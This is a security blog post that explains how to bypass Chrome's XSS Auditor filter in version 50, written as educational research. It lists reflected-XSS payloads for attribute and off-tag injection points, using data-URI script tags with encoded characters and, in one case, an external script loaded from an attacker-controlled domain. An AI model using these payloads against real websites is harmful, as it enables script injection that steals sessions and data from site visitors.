Chrome XSS Bypass

Intro

If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor.

auditor-red-flag
Google Chrome’s Auditor red flagging a XSS attempt.

Over the years, this built-in feature has evolved and get stronger with several bypasses found by the infosec (information security) community. But it has some limitations, the ones we will explore in this post.

We will not deal with pure javascript injections like ’-alert(1)-‘ or DOM-based XSS: Auditor can’t catch these things. What Auditor does is evaluate a full code expression in the response when it’s not seen in the request, so pieces of javascript code attached to existing code or not seen in the response (DOM-based injections) cause filter failure.

We are interested here in common yet simpler real world scenarios, where we can find a XSS flaw outside a javascript block and craft a payload to work into Google Chrome. According to this, Google Chrome users are about 50% of all desktop users worldwide, making a working XSS in Chrome increase the attack surface in more than 100% even if a XSS works in all other browsers combined.

browser-stats-03-2016
Browser usage statistics according to W3Counter in march of 2016.

chrome-version-50

 

It’s important to note that all things here are meant to work in the latest browser version until date (50) and these may not work in future versions.

 

Inline Injection

When injecting in some attribute of a tag (inline), if it’s possible to break out of it and inject another one, the following payload will run perfectly in Chrome:

"><script src=data:%26comma;alert(1)-"

Like in

<input value=“INPUT”>

which becomes

<input value=“"><script src=data:%26comma;alert(1)-"”>

As long as there’s a closing script tag after it in the native code as we can see here.

Script uses the data URI scheme as its source without the need of specifying the content type (like in data:text/html,…) because the default text/plain is enough to run the javascript code. Also needed to encode the comma (%26comma;) for version 50. With the alert function “minus” an empty string (“”) being evaluated, but without Auditor seeing it fully in the request, it doesn’t get blocked.

Off Tag Injection

Like in the injection inside a tag, it’s also possible to XSS when input echoes out of it. We will use a classic example of a reflection in a message returned after a search query. But there are some requirements and cases to watch for:

1) Requirements

– A script block after injection: needed to close the actual payload;
– A double quote somewhere inside a tag after injection: needed to some variants.

For example, both requirements can be satisfied if there’s (but not limited to) any of the following in source code:

<script src=“URL”></script>
<script type=“text/javascript”></script>

2) Cases

Payload execution depends on which character comes right after injection, so here is a table with what is needed. The search TERM is where the injection reflects.

Char right after Example(s) Payload(s)
Space or
EOL (end of line)
Search for TERM returned 0 results.
Results for TERM
<script src="data:%26comma;alert(1)//
Double quote Search for “TERM” returned 0 results. <script src=data:%26comma;alert(1)//
Single quote Search for ‘TERM’ returned 0 results. <script src=data:%26comma;alert(1)//
<script src="data:%26comma;alert(1)//
Dot, comma, colon,
semicolon etc.
Results for TERM: <script src=data:%26comma;alert(1)%26sol;%26sol;
<script src="data:%26comma;alert(1)%26sol;%26sol;
Less than <span>Results for TERM</span> <script src=//domain%26sol;my.js%26num;
<script src="//domain%26sol;my.js%26num;
Greater than, question
mark or slash
Are you looking for TERM? NO BYPASS
FOUND

In the first 4 cases, the same principle as the inline injection above was used but this time using a double slash (//), one time in its HTML entity form (&sol;&sol; with “&” encoded to %26 in URL) to comment the rest of the javascript code left open. Similarly, the payload "><script src=data:%26comma;alert(1)// can also be used for inline injection.

In the 5th case (in blue), a very common one, the way found to execute javascript code without being catched by Auditor was by calling an external script. This was done using an encoded slash (%26sol;) and appending a hash (%26num;) in the end of URL to avoid requesting with the native code attached. It can be applied to all working cases of the table, respective to the quote presence. A live example is available here.

auditor-external-script

Conclusion

As we can see it covers most of the possible scenarios out there although being easy to get filtered by an application filter or WAF due to the script tag.

A live test page is available here. URL parameters q0 up to q6 are the respective inputs for each type and case of bypass explained above (check source code).

A big “thank you!” to @asdizzle_ for his precious contribution to this work.

#hack2learn

P.S. Another interesting trick (restricted to some pages) to bypass Chrome’s Auditor is available in my private twitter account @brutalsecrets: exclusive results of my XSS research including a simple yet effective tool to find XSS in the wild can also be found there.

P.S.2 When going to verison 50 (after draft of this post was ready to go) Chrome seemed to have these bypasses fixed, but (thanks again to @asdizzle_) a simple encoding of comma did the trick again.

4 thoughts on “Chrome XSS Bypass

  1. Reported a recent XSS to Chrome’s security team. Their reply was “it’s a known issue”. Strange as the reported bug was fixed within 24 hours but no bug bounty issued. Moral of the story? Don’t get your account blacklisted for suspected credit card fraud 😉

Leave a Reply